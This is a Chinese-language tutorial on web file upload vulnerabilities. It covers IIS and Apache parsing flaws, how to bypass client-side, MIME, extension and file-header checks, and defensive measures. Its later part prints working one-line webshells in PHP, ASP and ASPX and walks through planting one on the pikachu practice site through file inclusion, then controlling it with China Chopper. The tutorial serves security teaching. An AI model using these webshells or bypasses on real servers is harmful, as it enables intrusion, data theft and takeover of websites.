13、Web安全测试—文件上传漏洞
什么是文件上传漏洞
什么是文件上传漏洞
- 文件上传漏洞是指由于程序员在对用户文件上传部分的控制不足或者处理缺陷,而导致的用户可以越过其本身权限向服务器上上传可执行的动态脚本文件
- 这里上传的文件可以是木马,病毒,恶意脚本或者WebShell等。这种攻击方式是最为直接和有效的,“文件上传”本身没有问题,有问题的是文件上传后,服务器怎么处理、解释文件。如果服务器的处理逻辑做的不够安全,则会导致严重的后果
解析漏洞
Web应用程序通常会有文件上传功能
解析漏洞
- 攻击者在利用上传漏洞时,通常会与Web容器的解析漏洞配合在一起
- 常见的Web容器有IIS、Nginx、Apache、Tomcat等,下面将以IIS、Apache为例进行讲解
IIS解析漏洞
IIS6.0解析文件时存在以下两个解析漏洞
- 当建立*.asa、*.asp格式的文件夹时,其目录下的任意文件都被IIS当作asp文件来解析。
例如:在IIS根目录建立文件夹parsing.asp
在该文件夹内创建文本文档test.txt
在文本文档上写如下内容
<%=Now()%>
访问http://localhost/parsing.asp/test.txt(显示当时时间)
- 原因:IIS不解析.txt文件,应该直接显示内容,而在parsing.asp中却被当做ASP脚本执行
- 老版本的IIS6中的目录解析漏洞,如果网站目录中有一个 /.asp/目录,那么此目录下面的一切内容都会被当作asp脚本来解析
- 当文件为文件名为*.asp;1.jpg时,IIS6.0同样会以ASP脚本来执行
例如:新建文件test.asp;1.jpg,内容为<%=NOW()%>
访问http://localhost/test.asp;1.jpg,(显示当前时间)
原因:IIS在解析文件名的时候可能将分号后面的内容丢弃,当
做.asp文件被解析
攻击者利用:在上传的时候给后面加入分号内容来避免黑名单过滤
Apache解析漏洞
Apache1.x、2.x中存在解析漏洞
- 新建文本文件,写如下内容
<?php phpinfo();?> 保存文件为1.php.rar
- 浏览器地址栏输入 http://localhost/1.php.rar,正常应该提示文件下载框,但此时显示phpinfo()的内容
- Apache解析文件时,当碰到不认识的扩展名时,将会从右向左解析直到碰到认识的扩展名为止,如果都不认识,则会暴露其源代码
- 攻击者利用:将恶意脚本打包成xxx.php.rar
- 有一个名为mime.types的文件,其中记录着Apache认识的后缀
造成文件上传漏洞的原因
导致文件上传漏洞的原因较多,主要包括以下几类:
- 服务器配置不当(put可以直接向服务器上传资源,不过默认是关闭的)
- 本地文件上传限制被绕过
- 服务端过滤不严格被绕过
- 文件路径截断
- 文件解析漏洞导致文件执行
文件上传漏洞预防
预防上传漏洞两种策略
- 客户端检测
- 服务器端检测
客户端检测
下面代码是一个非常简单的文件上传示例,使用JavaScript验证。
关键代码如下
如何绕过JavaScript的验证
- 打开网页,检查页面元素,删除onsubmit事件,然后再点击网页上的提交按钮
- 在本地构造一个没有onsubmit事件的表单
- 使用Burp Suite修改扩展名
任何客户端验证都是不安全的。客户端验证是防止用户输入错误,减少服务器的开销,而服务器端验证才可以真正防御攻击者
服务端检测
检查扩展名
在文件被上传到服务端的时候,对于文件名的扩展名进行检查,如果不合法,则拒绝这次上传
检查扩展名是否合法的时候,有两种策略:
- 黑名单策略,文件扩展名在黑名单中的为不合法
- 白名单策略,文件扩展名不在白名单中的均为不合法
黑名单策略
白名单策略
黑名单、白名单哪种更安全?
- 白名单策略是更加安全的,通过限制上传类型为只有我们接受的类型,可以较好的保证安全,因为攻击者可以使用很多方法来绕过黑名单检测。
- 原理:当浏览器将文件提交到服务器端的时候,服务器端会根据设定的黑白名单对浏览器提交上来的文件扩展名进行检测,如果上传的文件扩展名不符合黑白名单的限制,则不予上传,否则上传成功
MIME验证
MIME(MultiPupose Internet Mail Extensions)(描述消息内容类型的因特网标准)类型验证
- 上传时,程序开发人员经常会对文件MIME类型做验证,检测Content-Type 内容
- 绕过:可用Burpsuite抓到请求包,更改Content-Type为允许的类型
常见MIMETYPE
- audio/mpeg -> .mp3
- application/msword -> .doc
- application/octet-stream -> .exe
- application/pdf -> .pdf
- application/x-javascript -> .js
- application/x-rar -> .rar 等等
目录验证
- 接收文件后,对目录进行判断,检测跟path 参数相关的内容
- 在文件上传时,程序通常允许用户将文件放到指定的目录中,然而有些Web开发人员为让代码更“健壮”,通常会做一个操作,如果指定的目录存在就将文件写入目录中,不存在先建立目录,然后写入,攻击者会上传一个可执行文件作为目录被创建
文件内容检测
文件头检测,不同的文件不同的文件头,后台根据文件头判断文件类型
常见的文件头:
PEG (jpg):FFD8FF、PNG (png):89504E47、GIF (gif):4749463、TIFF (tif) :49492A00
文件内容加载/渲染
- 这个主要是检测文件结构是否完整,例如php代码覆盖了一部分图片数据
绕过:这类攻击的原理是在不破坏文件本身的渲染情况下找一个空白区进行填充代码
防范文件上传漏洞常见方法
防范文件上传漏洞常见的几种方法:
1、权限控制——可写可执行互斥
2、使用随机数改写文件名和文件路径
- 文件上传如果要执行代码,则需要用户能够访问到这个文件。在某些环境中,用户能上传,但不能访问。如果应用了随机数改写了文件名和路径,将极大地增加攻击的成本
3、单独设置文件服务器的域名
- 由于浏览器同源策略的关系,一系列客户端攻击将失效,比如上传crossdomain.xml、上传包含JavaScript的XSS利用等问题将得到解决。但能否如此设置,还需要看具体的业务环境
一句话木马
在很多的渗透过程中,渗透人员会上传一句话木马(简称Webshell)到web服务目录继而提权获取系统权限,不论asp、php、jsp、aspx都是如此
webshell是web入侵的脚本攻击工具
- 简单的说来,webshell就是一个asp或php木马后门,黑客在入侵了一个网站后,常常在将这些asp或php木马后门文件放置在网站服务器的web目录中,与正常的网页文件混在一起。然后黑客就可以用web的方式,通过asp或php木马后门控制网站服务器,包括上传下载文件、查看数据库、执行任意程序命令等
基本原理
- 利用文件上传漏洞,往目标网站中上传一句话木马,然后你就可以在本地通过webshell管理工具(中国菜刀、冰蝎、蚁剑)即可获取和控制整个网站目录
常见的一句话木马:
- php的一句话木马: <?php @eval($_POST['pass']);?>
- asp的一句话是: <%eval request ("pass")%>
- aspx的一句话是: <%@ Page Language="Jscript"%> <%eval(Request.Item["pass"],"unsafe“
我们可以直接将这些语句插入到网站上的某个asp/aspx/php文件上,或者直接创建一个新的文件,在里面写入这些语句,然后把文件上传到网站上即可
入侵条件
- (1)木马上传成功,未被杀
- (2)知道木马的路径在哪
- (3)上传的木马能正常运行
首先我们先看一个原始而又简单的php一句话木马:
- <?php @eval($_POST[‘pw']); ?>
- @符号表示不报错, eval()把字符串作为PHP代码执行
- 用post方法接收变量pw,把变量pw里面的字符串当做php代码来执行
一句话木马如何使用
实验准备:
- 首先创建一个.jpg的文件,文件的内容如下
<?php fputs(fopen('muma.php','w'),'<?php @eval($_POST[hack]);?>');?>
- 在pikachu网站的Unsafe Fileupload下把该图片上传
- 在pikachu网站的File Inclusion(local)下包含该图片文件,filename的值改为如下图
- 此时在\vul\fileinclude路径下便自动生成了PHP一句话木马脚本文件muma.php。
- 接着就可以用菜刀连接了,菜刀界面右键,然后点击添加。然后填写相关的数据
- 连接成功后,右键->文件管理,就可以看到整个网站的结构和文件,甚至是暴漏了我整个电脑主机的磁盘存储!!可以进行任意非法增删查改!!网站(主机)至此沦陷……
- 注意:用中国菜刀的时候,把网站的php版本改低一些,高版本的php已经做了防护
- 备注:很多网站的upload中的文件是不允许被包含的